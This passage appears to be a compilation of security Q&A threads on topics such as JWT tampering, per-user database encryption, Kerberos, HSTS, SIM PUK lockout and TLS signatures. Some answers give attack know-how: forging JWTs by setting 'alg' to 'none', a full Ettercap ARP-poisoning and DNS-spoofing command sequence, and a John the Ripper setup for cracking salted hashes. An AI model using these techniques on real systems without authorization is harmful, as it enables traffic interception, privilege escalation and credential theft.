S1 -> TA | K_S1,TA(C1, K_C1,TA(nonce1))
TA -> S1 | K_S1,TA(nonce1)

Why is this not secure? Maybe because C1 sends it's identity as a plaintext to S1, and Eve could try to fake her identity using C1's, using the replay attack? Or what else?

This is vulnerable to a MITM.  All Eve has to do is sit in the middle and forward traffic from C1 to S1, and from S1 to C1.  This entire handshake could occur, and Eve could still be communicating with S1.


Do the Linux binary blobs contain any intentional security holes? This question covers the risks of accepting Binary blobs in one's distribution.

This may be a very paranoid conspiracy question. But considering all the topics regarding the NSA in 2013 one cannot help thinking that the binary blobs in the Linux kernel could contain explicit security holes.

Where most of the blobs consist of sound and graphics drivers, has anyone confirmed an intentional security hole in any of the blobs?

The problem with an intentional security hole is that it looks exactly like an unintentional one.  A well done attack shouldn't be detectable as anything more than a coincidental error.  It is really a your guess is as good as anyone else's type scenario.  Best practice if you need a high level of security is to firewall your system to prevent external access and control what it can send out.  It at least limits the possible damage of any kind of breach, including much more likely malware threats, since even if the NSA did put in a backdoor, they are most likely not going to use it on you.  It's still a vulnerability that exists, but it isn't inherently any more of a threat than any other unknown vulnerability that may be in some zero day war chest somewhere.


JWT(Json Web Token) Tampering I'm reading OWASP Top 10 - 2017
The Ten Most Critical Web Application Security Risks, and came across the following risk, under Broken Access Control vulnerabilities:

  Metadata manipulation, such as replaying or tampering with a JSON Web
  Token (JWT) access control token or a cookie or hidden field
  manipulated to elevate privileges, or abusing JWT invalidation

I think I understood what the risks are, but I failed to see how someone could achieve this.  Is it possible to change JWT data after it is generated? Or am I missing the point here?

There are multiple options for JWT tampering.
Some web applications do not validate the signature, or don't use it at all.
That means an attacker can modify the contents at will, insert all kind of nasty payloads (XSS, SQLi), ignore the expiration time by using an arbitrary value for the timestamp, and so on.

Another way is called signature exclusion. JWTs have only two mandatory signing-algorithms that are mandatory to implement: "none" and "HS256".
Inspect the JWT by Base64-decoding it:

{"alg":"HS256","typ":"JWT"}

If you see the algorithm being HS256, it is an indicator that the system may be using a default implementation (and probably even an outdated one). You can then replace the algorithm with "none", and remove the signature completely (the part after the last period).

If the server accepts the JWT like this, you can then start tampering the contents again, as explained above.


How to encypt sensitive data in database of a web app? The database of my web app stores sensitive data. An attacker shouldn't have access to this data if he gains access to the database. That's why I want to encrypt this sensitive data in the database.

First I wanted to encrypt the users data with the user's username or password as key. The problem with this approach is that the user is able to change his username and password. In the case the user changes his user name the application can't decrypt the data that was encrypted with his old user name anymore. Also, the attacker has access to the user name of the user. Thus this wouldn't be a very secure solution.

The only other idea I have is to encrypt all user data with one global key. One drawback of this is that the whole system relies on one key. In this scenario I'm not able to change the key because of the incompatibility of the new key and the old data.

Do you have any better ideas on this problem?

The generally accepted approach is similar to what AndrolGenhald suggested in an earlier answer but with some enhancements.

You can encrypt each user's data individually, using a key derived from their password.  You do not, however, want to use the password directly as a key.  It's a multi-step process, as follows.

1) You generate a random key, using a CSPRNGm, and use this random key to encrypt the user's data.   You can create a new, different random key for each user. This is called the DEK, or data-encryption-key.

2) You take the user's password and run it through a PBKDF (such as PBKDF2, bcrypt, or scrypt) using a reasonably high work factor or number of iterations and a random salt to create a second key, the KEK or key-encryption-key.   You then encrypt the DEK using the KEK, and store the encrypted DEK and the salt in the database.

Then, when the user logs in, you use their password and the salt from the database to regenerate the KEK, which you can use to decrypt the DEK, which you can use to decrypt the data.

Now, when the user changes their password, you no longer have to decrypt and re-encrypt all of their data, but simply use the new password (and a new salt) to generate a new KEK, and re-encypt the DEK using this new KEK.


Are credit-card security codes theoretically insecure (if not entirely broken) already? I was reading the Wikipedia article on Card security codes (CSC, CVD, CVV, CVC, V-code, SPC, CID, CV2, CVN2, CAcronym2, etc) and a certain assertion caught my eye (emphasis mine):

  The CSC for each card (form 1 and 2) is generated by the card issuer when the card is issued. It is calculated by encrypting the bank card number and expiration date (two fields printed on the card) with encryption keys known only to the card issuer, and decimalising the result.

The description sounds a lot like a HMAC using only already public information as the main input - but in any event, given the sheer number of compromised credit-card numbers (with Card security codes) in existence surely it must be possible to derive the issuer's encryption key by now? (Does it matter if it's symmetric encryption or asymmetric?)

If true, then I'm surprised the system is designed like that instead of generating a unique secret key or number, per card, from which the CSC is derived from instead of an institution-wide key - which my question presupposes can be derived from the large number of output values given knowledge of all cleartext input) - because my current understanding of cryptography tells me that the secret key can be derived given enough known cleartext input (compromised card details) and ciphertext output (compromised CSC codes).

Deriving the issuer's encryption key using a collection of credit-card numbers with their respective security codes would be an example of a known-plaintext attack (KPA).

To be considered secure, a cipher has to be resistant to known-plaintext attacks, i.e. cracking the encryption even with a large number of plaintext-ciphertext pairs should not be significantly quicker than brute-forcing it. This is a basic requirement for ciphers to even be considered for practical application.

In cipher design and evaluation, it's assumed that the attacker has as many known plaintext-ciphertext pairs as he wants, and can produce new ones by feeding chosen plaintexts to be encrypted (CPA). In IT security, known plaintexts are a given - for instance, this page is being served to you encrypted through HTTPS, but any attacker can get most of its plaintext by visiting the website. If this allowed them to derive the private key, HTTPS would've been rendered pointless.

Modern ciphers such as AES and even most deprecated ones are KPA resistant if used correctly. The only use plaintext-ciphertext pairs would have is to check if your key matches.

Outdated, pre-computer era ciphers weren't secure and could indeed be broken with KPA; that's what happened to the Enigma. It's also possible to break modern ciphers with KPA/CPA if they're used incorrectly, e.g. with repeated IVs and nonces. Bad usage can reduce any cipher's security to a simple XOR, so a secure scheme takes more than just a good cipher. Whether any banks have screwed it up quite that badly... I hope not.


What is the key to detecting all IoT devices in your organization? In recent news, IoT devices are a target of hackers -- specifically botnet herders. The first step to securing your organization and its users is to detect all IoT devices that are functional on your IP address range. If every client in your domain is allocated a public IP address, their device becomes immediately accessible over the Internet. How do you discover all IoT devices operational in your domain?

My first thought was to scan known IoT device port ranges over all IPs in your IP range. But is there any tool out there that already does this? Is there another way of enumerating as many IoT devices as possible in a given IP range?

During procurement, have Finance and/or Internal Audit create and maintain a formal asset-registration process. All people managers must receive all procured devices/software and each approved vendor must provide a list of inventory services. Gaps in the inventory services automatically provided from the VARs must be filled in by the people managers using a checklist.

Business Process Example

People manager decides to procure an iPhone and an Android-powered thermostat for a remote worker who is a thermostat tester. The VAR who works with Apple provides the serial numbers, SIM card identifiers, telecommunication-provider IMEI, and MAC address for the WiFi component of the iPhone. The people manager turns on the iPhone to collect the Bluetooth BDADDR and submits it to the internal procurement asset-registration portal using a Standard-Operating Procedure (SOP) document. The manager then opens the box containing the thermostat, turns it on, and collects its WiFi and Bluetooth MACs using a separate SOP document in order to submit these to the procurement asset-registration portal.

At this time, I do recommend tracking at least SIM serial, IMEI/MEID, as well as Ethernet and Bluetooth MAC addresses. You may also want to track ZigBee, Z-Wave, RFID, and NFC identifiers.

Technology Platform Examples

SAP or Oracle Hyperion typically have ways of documenting procurements to asset codes to plant codes. For example, you can have SAP ECC document what was purchased when and where it went, perhaps down to the PDU level, e.g., a cage in a data center or a cube on a floor of a particular building.

Then the procurement system can have hooks to the IT/Ops CMDB or configuration-management database. Some of these include: Axios Assyst, BMC Atrium, CA Service Desk Manager, Cherwell Software, Freshservice, FrontRange, Hornbill, HP Universal UCMDB, IBM SmartCloud Control Desk (SCCD), iET Solutions, InvGate Assets, LANDESK Service Desk Suite, ManageEngine IT360 / ManageEngine AssetExplorer, Scalable Software, ServiceNow, SolarWinds Web Help Desk, and SysAid. If you want free, open-source projects to track inventory and configuration management, check out clusto.org, https://github.com/mozilla/inventory , or http://fusioninventory.org/overview/ -- (with -- https://www.fusiondirectory.org -- and perhaps -
 https://github.com/Normation/ldap-inventory).

Additionally, you can even link applications to an app inventory (or app portfolio, part of Enterprise Architecture Management aka EAM) with device inventory. Microsoft SCCM can do this with software tagging (either ISO/IEC 19770-2 and/or SWID tagging), but there are other solutions that do full EAM such as Software AG Alfabet.

IoT devices, in particular, leverage either on-device REST APIs or reach out to cloud-based REST APIs. These can be discovered, tracked, and managed using Application Discovery and Dependency Mapping (ADDM) solutions such as AccelOps, Cisco AppDynamics, AppEnsure, VNT IllumIT, and -- my favorite for its ability to integrate back to the CMDB -- ServiceNow ServiceWatch.


Why does DNS Spoofing not working on HTTP ,HTTPS Sites? [in my case] I am trying to perform a DNS spoofing attack, but the confusing thing is that when I'm  performing the attack on HTTP sites, nothing happens.

But when I perform it on HTTPS sites, when I reach the target site, I get the message: "Your Connection is not Private"!

My commands on Kali Linux by using Ettercap was

echo > 1 /proc/sys/net/ipv4/ip_forward

and then I edited the etter.conf and deleted both # under the iptables section and put my website target in etter.dns under the microsoft sucks like this:

*.example.com A my ip

and the same last one but start with

www.example.com  A  my ip

next command was service apache2 start

and finally ettercap -T -q -i wlan0 -M arp:remote -P dns_spoof /ROUTER IP/ /TARGET IP/

So after these commands i definitely expect to display my Apache instead of "example.com", but as i said the result was no effect on http sites, and "Your Connection is not Private" message on https.

My main question is why doesn't this attack work for both of http, https,
Do you think it's because the router settings or is there something missing?

Try only with the target ip specified:                                        ettercap -i wlan0 -T -M arp -P dns_spoof /TARGET IP///


How to prepare for protecting identity after death? In the context of online accounts and identities, what are some best practices to prepare for the one certainty we all face: not a one of us will get out alive.

The certainty of ultimate demise, be it biological or simply administrative (in a business context, employees retire or are fired, either of which being equivalent to dying from the employer's point of view), means that backups must be used, in particular for cryptographic keys which are used for encryption. For instance, if you receive encrypted emails, then those mails cannot be read without using the private key. Loss of access to the private key implies loss of access to the emails themselves, something which your successor may not like at all. In practice, if you use PGP for business reasons, then there should be a copy of your private key (the one for encryption, not the one for signatures) somewhere in a corporate safe.

As for your online estate (blogs, Facebook accountd, StackExchange reputation... are all some kinds of property to which you could attribute some value, and for which you have postmortem plans), the "normal" way of dealing with it is through a notary, who is a trained professional at such questions. Unfortunately, notaries are an institution from the Middle Ages, which is not structurally well prepared to cope with fast-changing data: you do not want to pay a visit to your notary each time you change a password. So I would suggest the following scheme:

You choose a master passphrase (a big fat passphrase of high entropy).
You maintain a "passwords file" containing your credentials for your various accounts, possibly with instructions on what to do with each of them should you happen to pass away.
You encrypt that file with GnuPG, using the master passphrase as key (with the command line version, use the -c flag).
You copy the file on two or three storage mediums (USB keys, harddisks...).
You write the master passphrase and some instructions as to where the storage mediums are into a sealed envelope, which you give to your notary, who will deal with it when the time comes (Use a laser printer ! Inkjet prints tend to fade over time).

You will probably modify the stored files regularly, which is a good thing, since storage mediums might not keep data unaltered for decades. GnuPG follows the OpenPGP standard, which is open and well supported, and thus there should still be implementations around in 40 years (or, at least, a working implementation would not be too hard to make).


Cracking a truncated hash of type sha256(salt+pw+salt) I'm trying to crack a password, whose hash was formed by first concatenating a known salt, the password and and another known salt, then applying sha256 and then truncating that to 32 characters. So:
truncate(sha256(salt1 + pw + salt2)

How can I use JTR for example to help solve this?

The way I solved this is by editing an already present dynamic config in john the ripper jumbo. I opened dynamic.conf and edited dynamic_1029 to look like this:
[List.Generic:dynamic_1029]
Expression=sha256($p.$s) (hash truncated to length 32)
Flag=MGF_FLAT_BUFFERS
Flag=MGF_SALTED
SaltLen=16
MaxInputLen=110
MaxInputLenX86=110
Func=DynamicFunc__clean_input
Func=DynamicFunc__append_keys
Func=DynamicFunc__append_salt
Func=DynamicFunc__SHA256_crypt_input1_to_output1_FINAL
Test=$dynamic_1029$698e7b93568798660235091abcb7883e$8ec3937e0c5068eb:Salver

So now it includes a salt and truncates the hash. Then the constant salt was achieved using the --mask command line parameter as well as the new format as such:
john --mask='[constant salt]?w' --format=dynamic_1029 hashlist.txt

The hash files must now be formatted like this:
username:hash$salt


Auto-login to refresh token in Burp Suite 2 I want to run an automatic scan on a web application made with Angular and JSNode. On this one I have access to different types of accounts. On ZAP OWASP I can select the POST request, it detects the parameters in the request, I show it which parameter corresponds to the login and password then I inform it of the different accounts I have at my disposal (login / password). Thanks to this, it has no problem to attack my site even if the token expires.
Recently, I switched to Burp Suite thanks to the trial version to do some comparative tests. However, I can't reproduce this mechanism so that it authenticates itself during the automatic scan. Could someone advise me? I found some pages that seem to describe this mechanism but my requests are not the same and I'm a bit in trouble (For example, I can't find a deauthentication request).
Thank you in advance for your advice!
I hope this time I've been clear enough ;) (yes this is my second post after the last one was blocked)
What I found :

https://portswigger.net/support/configuring-burp-suites-session-handling-rules

Recently portswigger has added in the functionality to record the authentication process within burpsuite. Burpsuite will then be able to authenticate if its current session expires or it becomes unauthenticated. This functionality is available in version 2020.9.2 and onwards.
Source: https://portswigger.net/burp/documentation/desktop/scanning/recorded-logins
Is this the functionality you are searching for?


Is HTTPS and Basic Authentication secure enough for banking webservices (RESTful)? I have been reading about SSL/TLS for the last few days and looks like it has never been practically cracked.

Given SSL/TLS is used for all communications between client application and the server, and given the password/API key is random and strong and securely stored on the server-side (bcryted, salted), do you think Basic Auth is secure enough, even for banking services?

I see a lot of people disliking the idea of username/password getting sent on the wire with every request. Is this a real weak point of Basic Auth (even with SSL/TLS used), or is it just out of irrational fear?

HTTP Basic Authentication is not much used in browser-server connections because it involves, on the browser side, a browser-controlled login popup which is invariably ugly. This of course does not apply to server-server connections, where there is no human user to observe any ugliness, but it contributes to a general climate of mistrust and disuse for Basic Authentication.

Also, in the 1990s, before the days of SSL, sending plaintext passwords over the wire was considered a shooting offence, and, in their folly, people considered that challenge-response protocols like HTTP Digest were sufficient to ensure security. We now know that it is not so; regardless of the authentication method, the complete traffic must be at least cryptographically linked to the authentication to avoid hijack by active attackers. So SSL is required. But when SSL is in force, sending the password "as is" in the SSL tunnel is fine. So, to sum up, Basic Authentication in SSL is strong enough for serious purposes, including nuclear launch codes, and even money-related matters.

One should still point out that security relies on the impossibility of Man-in-the-Middle attacks which, in the case of SSL (as is commonly used) relies on the server's certificate. The SSL client (another server in your case) MUST validate the SSL server's certificate with great care, including checking revocation status by downloading appropriate CRL. Otherwise, if the client is redirected to a fake server, the fake server owner will learn the password... In that sense, using something like HTTP Digest adds some extra layer of mitigation in case the situation got already quite rotten, because even with HTTP Digest, a fake server doing a MitM can still hijack the connection at any point.

If we go a bit further, we may note that when using password-based authentication, we actually want password-based mutual authentication. Ideally, the SSL client and the SSL server should authenticate each other based on their knowledge of the shared password. Certificates are there an unneeded complication; theoretically, SSL client and server should use TLS-PSK or TLS-SRP in that situation, and avoid all the X.509 certificate business altogether.

In particular, in SRP, what the server stores is not the password itself but a derivative thereof (a hash with some extra mathematical structure). One shall note an important point: in the case of a Web API, both the client and the server are machines with no human involved. Therefore, the "password" does not need to be weak enough to be remembered by the meat bags. That password could be, say, a sequence of 25 random characters, with an entropy gone through the roof. This makes the usual password hashing methods (slow hashing, salts) kind of useless. We still want to avoid storing in the server's database (thus as a prey to potential SQL injections) the passwords "as is", but, in that case, a simple hash would be enough.

This points to the following: ideally, for a RESTful API to be used by one server to talk to another, with authentication based on a shared (fat) secret, the communication shall use TLS with SRP. No certificate, only hashes stored on the server. No need for HTTP Basic Auth or any other HTTP-based authentication, because all the work would have already occurred on the SSL/TLS level.

Unfortunately, the current state of deployment of SRP-able SSL/TLS implementations usually means that you cannot use SRP yet. Instead, you will have to use a more mundane SSL/TLS with an X.509 certificate on the server side, that the client dutifully validates. As long as the validation is done properly, there is no problem in sending the password "as is", e.g. as part of HTTP Basic Authentication.


In Kerberos, how does a client authenticate the KDC? How does a client know whether it is talking with a real or fake KDC? Is it based on the system configuration, similar to DNS?

I think there are two different but related answers to your question.  Initially, the client needs to know what KDCs exist to handle authentication requests.  In a Windows Active Directory environment this is handled through Kerberos service records in DNS.  The client trusts DNS to provide a valid list of KDCs.  But this does open up the possibility of an attacker compromising DNS in that environment and adding a Kerberos record for their fake KDC.

However, the 'real' authentication is based on the how the KDC proves to the client that it is a valid KDC during the initial authentication process.  In its response to the client's request the KDC sends the client a session key encrypted with the client's secret key, or long term key.  That secret key is based off a hash of the client's password.  So if the client can't decrypt the session key it knows that there is a problem and the KDC it's talking to may be fake (or just not synced up with the latest secret key).  The authentication process then fails.

At that point the client hasn't even sent its password hash to the fake KDC, so even a compromise of DNS doesn't really expose the client to unreasonable risks in this regard.


Need of scope in OAuth Client Credentials Flow For me, Client Credential flow is like client is asking access token for itself - not on behalf of some user.

Then, why would client like to limit its own scope? What is the benefit of scopes in client credential flow?

In case a client is requesting the access token for just a specific use case for which only a subset of scopes is required it could make sense that the client narrows down the scope. In case the access token is leaked an attacker would have access to only this use case.


Why does HSTS not automatically apply to subdomains to enhance security? For what reason would someone not want HSTS on every subdomain? HSTS restricts the connection to be always HTTPS if deployed by any domain, however for it to be applied to sub-domains the 'includeSubDomain' attribute is needed. Why doesn't the policy itself make it mandatory to include all subdomains? For what reasons/restrictions is the flag asked to be set?

Subdomains can often be used for different purposes, and as a result they can be using different web applications possibly hosted on different equipment.

Not every website on every subdomain needs to follow the policy of the domain, it can even be the case that sites on subdomains do not support HTTPS due to lack of support in the application and/or not having a SSL certificate.

So automatically enforcing a policy on the main domain could possibly break things for subdomains.


IT Security Process Vs People In IT Security, it is claimed that good security practice is made up of technology, process and people.

But how do you dis-entangle "Process" from "People" because people implement the process?

But how do you dis-entangle "Process" from "People" because people
  implement the process?

People come and go - but if there is a good Process, and reasonable documentation of that process, then the system will continue to work smoothly.

Think of Process as the road, and people as the cars.  The road helps ensure that cars can go from source to destination, and (generally) avoid collisions, and have signs all along the way to direct them.  As long as the road is there, the cars will keep moving; take away the road, and you've got a lot of cars going nowhere.


How do I identify which PC made a suspicious DNS query? Our IDS detected a suspicious DNS packet going to a Botnet (or similar).

Since that DC is a recursive relay, how can we identify the client who made that request.  (Windows DNS server)

DNS request logging on your local DNS forwarder (Domain Controllers) is the easiest.  Blocking TCP/UDP port 53 outbound except for your Domain Controllers lets you be assured that only they can do recursive DNS lookups.

Netflow is another option, but has large data storage requirements since you are storing lifecycle and endpoint information about all UDP and TCP sessions in your network.

For effective NSM (Network Security Monitoring) you should have both DNS logging and Netflow enabled and it's worth getting both in place well ahead as logging that isn't a matter of standars practice will be disregarded as hearsay in court proceedings.  You can't just turn these on, gather stuff, use it as evidence, and turn them off again.


Is EAP-MSCHAP v2 secure? I am in a process of enforcing more strict VPN access policy after learning about the attack on PPTP with MSCHAP v2. Basically this I will be disabling the traditional PPP authentication methods and using an EAP method instead.

Windows provides quite a range of EAPs, among them EAP-MSCHAP v2. Am I correct to understand that this is just the old MSCHAP v2 done in the EAP format without any additional protection? In other words, it must be used within PEAP (or similar) to defeat the attack, right?

If you are using PEAPv0 with EAP-MSCHAPv2 authentication then you should be secure as the MSCHAPv2 messages are sent through a TLS protected tunnel. If you would not use a protected tunnel, then you are indeed vulnerable.


What happens if incorrect SIM card PUK entered 10 times? I know that if incorrect SIM card PIN is entered three times, it is erased, so there is no longer any valid PIN, but user can set up new PIN with PUK.
But when incorrect PUK is entered 10 times, it is no longer possible to unlock it.
What happens?

Is everything on the SIM card erased or only PUK?
Is SIM card blocked if user enters incorrect PIN 3 times, then incorrect PUK 10 times when trying to enable PIN SIM card protection.
Is it possible to unlock the SIM card?

On a modern phone, none of your personal data will (usually) be stored on the SIM. It's true that technically, a SIM card has the ability to store a limited address book, a small collection of text messages, and some call history, and in the old (pre-smartphone) days, this was super handy when moving to a new device.

Today, I would be shocked (and really annoyed) to discover that a phone was storing any personal information on the SIM, because that would allow someone with physical access to my device to be able to (literally) pull that information out of the phone. I should be able to throw a SIM away when it's no longer in use, without fear of any data leakage.

What a SIM does store is a secret key that uniquely identifies your phone to the cellular network, and that your phone company uses to decide if you should be allowed to connect to their towers, what your phone number is, what services you are allowed to use, and how you should be billed. You can think of the SIM as your phone-company-issued ID card: it identifies you, gives you permission to use the phone network, makes your connection through the air from your phone to the nearest tower private, and nothing else.

With that knowledge, your question can be answered fairly easily.

  But when incorrect PUK is entered 10 times, it is no longer possible to unlock it. What happens?

When the PUK is entered incorrectly 10 times, the SIM assumes that someone who shouldn't be holding it is holding it. It disables itself completely. It can never be used to connect to the cellular network again.

So, all you need to do is contact your phone company, tell them what happened, and get a new SIM. They will give you a new SIM, with a new secret key, and mark the old one as dead. Most reputable phone companies won't charge you anything for this, though some will take any excuse to charge you a fee. Since the dead SIM can never be used again, even if someone malicious and skilled were to get their hands on it, it's not useful for any purpose at all, and can't be used to access your information, your account, your phone number, or make calls at your expense.

  Is everything on the SIM card erased or only PUK?

Exactly how the SIM responds to the PUK being entered incorrectly 10 times depends a little on the manufacturer, but basically, you can probably assume that everything on the SIM card is erased. Remember, none of your personal information will be on the SIM unless you intentionally put it there (for example, to move your information to a new phone without using an Apple, Google, or Samsung account, or any other cloud service). If your phone is working the way it was designed, your personal information is safe no matter what happens to your SIM.

If you did put your personal information on the SIM, or you aren't sure, then my advice is simply to cut the card with scissors or melt the card with a lighter before throwing it away. (But don't throw it away before speaking to the phone company; they may want the serial number on the card, or may ask for the card itself to be returned, before issuing you a new one.)

  Is SIM card blocked if user enters incorrect PIN 3 times, then incorrect PUK 10 times when trying to enable PIN SIM card protection.

Actually, the phone company doesn't know if you need to enter the PUK, and doesn't know if you entered it incorrectly 10 times. So, they don't block it, simply because they don't need to; your front door lock doesn't need to know if you lost your front door key, it simply won't let you come inside without it.

If your SIM has PUK-locked and disabled itself, simply tell the phone company, verify that you're really you (either in person by showing ID, or over the phone by proving you are who you say you are as usual), and they'll issue a new SIM for you with the same phone number, account, billing, everything.

  Is it possible to unlock the SIM card?

No. If it were possible for you to unlock it, then it would be possible for someone else to unlock it, and the PUK system is designed to prevent exactly that. But, as said above, there's no need to unlock the SIM, you can just get it replaced by the phone company.

I hope this helps!


How SplashData knows about Worst Passwords used by users annually It is known that every reputable website stores their user passwords into their database after implementing some hashing algorithm on it, and even they don't know what the actual password of the user is; and when the user logs in to their website, a HASH is generated from user's input password and compared to the hash previously stored into the database.

If this is true, then how come websites like SplashData.com releases the list of weakest password annually.? How come do they get their hands-on the plain text of the user password if it was hashed?

Here are some of the links for convenience,

SplashData:

"Password" unseated by "123456" on our annual "Worst Passwords" list
Worst Passwords of 2012 — and How to Fix Them
CNN talking about SplashData

'123456' tops list of worst passwords

Symantec talking about SplashData

The Worst Passwords of 2013

Your first link says what the source is:

  This list is from files containing stolen passwords posted online during the previous year.

In a perfect world this would not happen. Not only would everyone salt and hash their passwords with an expensive algorithm, security would also be good enough that password lists won't get stolen. Unfortunately the world we live in isn't perfect.

Leaks from large databases happen all the time.

There are still large services which store passwords in plaintext. Most at least hash their passwords, but then they either don't salt them, or salt them but then use an algorithm which is fast enough to make brute-forcing of weaker passwords feasible (like those from the SHA-family, for example).


Is it safe to store billing/postal addresses? I'm currently building a web application in Ruby on Rails. Is it safe to store billing/postal addresses in a database?

What could happen if the data were compromised?

Are there any standard practices to make this data more secure?

On the fundamental front, it is never secure to store or transmit anything somebody wouldn't want people to get. You can make things safer by using various security/encryption methods, but it is still fundamentally unsafe.

On the practical front, addresses are so easy to get as it is. You should avoid correlating them to more personal information which is not a matter of public record, like credit card numbers, social security numbers, passwords, etc.

I believe most users would be as irritated by having to continuously re-enter their address as they would having their addresses lost in a compromise - but one of those makes them think you're making their life harder and one sounds like "a thing that just happens."


how to determine the cipher suites supported by a SERVER? I somehow was not able to find an answer.  I can see the ciphersuits supported by the client/browser on the wire, but server does NOT appear to advertise the ciphersuites it supports during the handshake.  But I know SSLLab's SSL tester does provide a report of the ciphersuites a SERVER would support.  How was that done?  One possibility is for the client to try ALL possibilities one at a time?

I use this nmap script, it's convenient and gives scores similar to Qualys SSL Labs:

https://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html


Will obtaining password hash compromise derived encryption key? I've been looking at how PBKDF is used to generate encryption key for AES. One thing I couldn't get my head around is that how those OS keep the encryption key safe apart from using hardware modules.

So far my understanding is that OS like Windows stores user hashed user password in a file (SAM file). The password hash is then used to generate the encryption key for applications which need to encrypt data. THis is done in DPAPI and applications can just call the API and the system library will automatically extract the user password (hashed) from current context and derives a key from it (in a simple way,maybe more complicated than this). But how does windows ensure the safety of encryption key, even if the key is only generated on the fly, as long as the attacker obtains the hash, wouldn't it compromise the encryption key in someway as they can apply the same PBKDF2 (provided if they somehow can try those with possible cases).

If an attacker grabs the windows password file and extract the hash out of it (this shouldn't be too hard), is he able to apply PBKDF2 (or any possible derivation function) on top of it to get the encryption key? . Is it some hard-coded salt value when the PBKDF2 is applied to the hash in windows's source ?

Thanks

If encryption key can be derived using only data persisting in the user database (like user name and password hash for example) that would constitute a major design flaw for the reasons you describe above: original secret (user password) is not needed to derive key and access encrypted data.

The way Windows prevents this from happening (or at least the way it is supposed to, see this for more details) is by using different hash algorithms for password hashing and key derivation: passwords are hashed using NTLM hash (which is MD4) and keys are derived from user's password using PBKDF2-SHA1. This way obtaining hash of the password won't immediately enable attacker to compute encryption keys because the original password is needed to compute the key.

New systems shouldn't normally use plain unsalted hashes for password hashing; instead something like bcrypt or scrypt is a more robust alternatives.

If system is constrained and it's beneficial to use PBKDF2 for both password hashing and key derivation, one can use different salts for different purposes: one for password hashing and verification, another for key derivation; in this case compromising password hash won't immediately enable attacker to compute derived key as the salt is different and original password is still needed to compute PBKDF2 with another salt value.


RSA signature on TLS In a TLS handshake using ECDHE-RSA, the ServerKeyExchange frame must include the ECDHE ServerPublicKey, signed with its RSA private key, as specified in the RFC 4492. Got it.

Trying to implement an ECDHE-RSA-like exchange this with crypto++, I'm facing a little interrogation : what is the scheme used for signing the frame ?

Is it

Signature Schemes with Appendix (SSA)

or

Signature Schemes with Recovery (PSSR) ?

The only advantage of using the PSSR, as said here, it's that you don't send the message, it's incorporated in the signature.

Besides, it's mentioned nowhere in the RFC 5246, nor in the RFC 4492.

Is it a the discretion of the programmer ?

The exact signature scheme depends on the protocol version; however, in all cases, it relates to what Crypto++ calls "signature schemes with appendix".

PKCS#1 describes two signature schemes (and two asymmetric encryption schemes, which are not relevant here): the "old one" (called "v1.5") and the "new one" (called "PSS"). SSL/TLS relies on the old one (v1.5).

In PKCS#1 v1.5 signature generation, the following occurs:

The data which is to be signed is hashed, with some hash function. Let's call x the resulting sequence of bytes. E.g., if the hash function is SHA-256, then the length of x is 256 bits, i.e. 32 bytes.
A header t is added to x. The header is a fixed sequence of bytes that identifies the hash function (technically, x is used as parameter in a DER-encoded ASN.1 structure that also identifies the hash function with an OID; however, it is simpler to think of it as a fixed header).
Some bytes are added before the concatenation of t and x, so as to obtain the following structure:

   00 01 FF FF ... FF 00 t x

That is, a byte of value 0, then a byte of value 1, then some bytes of value FF, then a byte of value 0, then t, then x, are concatenated in that order. The number of "FF" bytes is adjusted so that the total length is exactly the length, in bytes, of the RSA modulus (i.e. 256 bytes for a 2048-bit RSA key). This step is called "PKCS#1 type 1 padding".
The padded string is then interpreted as a big integer (using big-endian convention), which then goes into the modular exponentiation that is at the core of the RSA signature scheme.

With TLS-1.2, the signature scheme must be exactly the one above, with a hash function that depends on what the client and server support. With the Signature Algorithms extension, the client specifies in its ClientHello message what kinds of hash functions it can use with the RSA algorithm; if that extension is lacking then the server must assume that the client supports SHA-1. The value of the t header is given explicitly, for the most common hash function, in section 9.2 of PKCS#1.

In previous TLS versions (SSL-3.0, TLS-1.0 and TLS-1.1), the scheme is subtly different: the t header is empty, and x is the concatenation of the MD5 and the SHA-1 hashes of what is to be signed. Thus, the length of t is 0, and the length of x is 36 bytes (16 bytes for the MD5, 20 bytes for the SHA-1). There is no discussion between client and server about which hash functions to use; it is always MD5+SHA-1.

A cursory look at the manual seems to indicate that at least "normal" signatures (for TLS-1.2) can be computed with Crypto++ using RSASS<PKCS1v15, H> where H will be SHA1, SHA256... I do not know if Crypto++ includes code for the older scheme where the hash is the concatenation of MD5 and SHA-1, and there is no header.


Is there such a thing as a "Black Box" that decrypts Internet traffic? I have been reading about the Snoopers charter bill that was passed in the UK this week.

It mentions a "Black Box" which is cited here: ‘Black boxes’ to monitor all internet and phone data.

It states it works like so:

  When an individual uses a webmail service such as Gmail, for example,
  the entire webpage is encrypted before it is sent. This makes it
  impossible for ISPs to distinguish the content of the message. Under
  the Home Office proposals, once the Gmail is sent, the ISPs would have
  to route the data via a government-approved “black box” which will
  decrypt the message, separate the content from the “header data”, and
  pass the latter back to the ISP for storage.

It is very vague on how it works to "decrypt" the data.

Is there such a thing as a "Black Box" and should I be concerned?

Yes. It's called a Man-in-the-Middle attack. You terminate the SSL session at a mid-point, thereby having the encryption key, then create a new session to the target server, so you have that encryption key too. The data path now goes User->MitM->Server, where each of the arrows is an encrypted connection. Data returned from the server goes Server->MitM->User, again, where each arrow is encrypted, but the other points are not.

There are ways to prevent this from working, but in the case of a government mandated system, it seems likely that these will be specifically avoided - there may be regulations for companies to provide valid certificates for the "black boxes", so that HPKP keeps working, for example. It is unclear whether such rules would apply to companies which don't operate directly in the UK, or whether there would be penalties for attempting to bypass these rules (for example, by the use of VPNs based in other countries).

Edit based on comments:
Note that it is technically possible to create such a device, but the problems mostly come from requiring cooperation from a large number of parties. As a government, there are options available which aren't possible for smaller actors. For example, it would be possible (if unlikely) to require that all internet connected devices sold in the UK come pre-configured with a government issued root CA certificate, and to prosecute anyone using a device which does not have this installed. This would be terrible for internet security, but so is the overall concept, so it depends on security experts convincing the government just how bad this idea is.


A service that claims beyond army level encryption I would like to understand if this service is as safe and good as it claims to be: https://unseen.is

This is what they say:

  ... Many other services that offer
  encryption keep the key, but getting a copy of the key from the
  service is the easiet way to break in to your messages. With Unseen,
  you control the key, so it's not possible for us to read any of your
  messages.

  Keep in mind, with enough time and advanced technology, anything can
  be broken. ... We only provide extremely strong
  encryption, even if you use the free version of our service. Our
  mission is to protect your communications with the best technology we
  have available and we felt strongly that we should give that to
  everyone.

  Ever since a former security contractor told us "if it's publicly
  available, it's cracked" several years ago, we've assumed that
  backdoors and weakeners have been included in the public encryption
  libraries. We know you wanted more and set out a year ago to deliver
  the next generation in encryption technology.

  We decided to completely replace the standard AES encryption we
  started with for all free AND premium users with something much
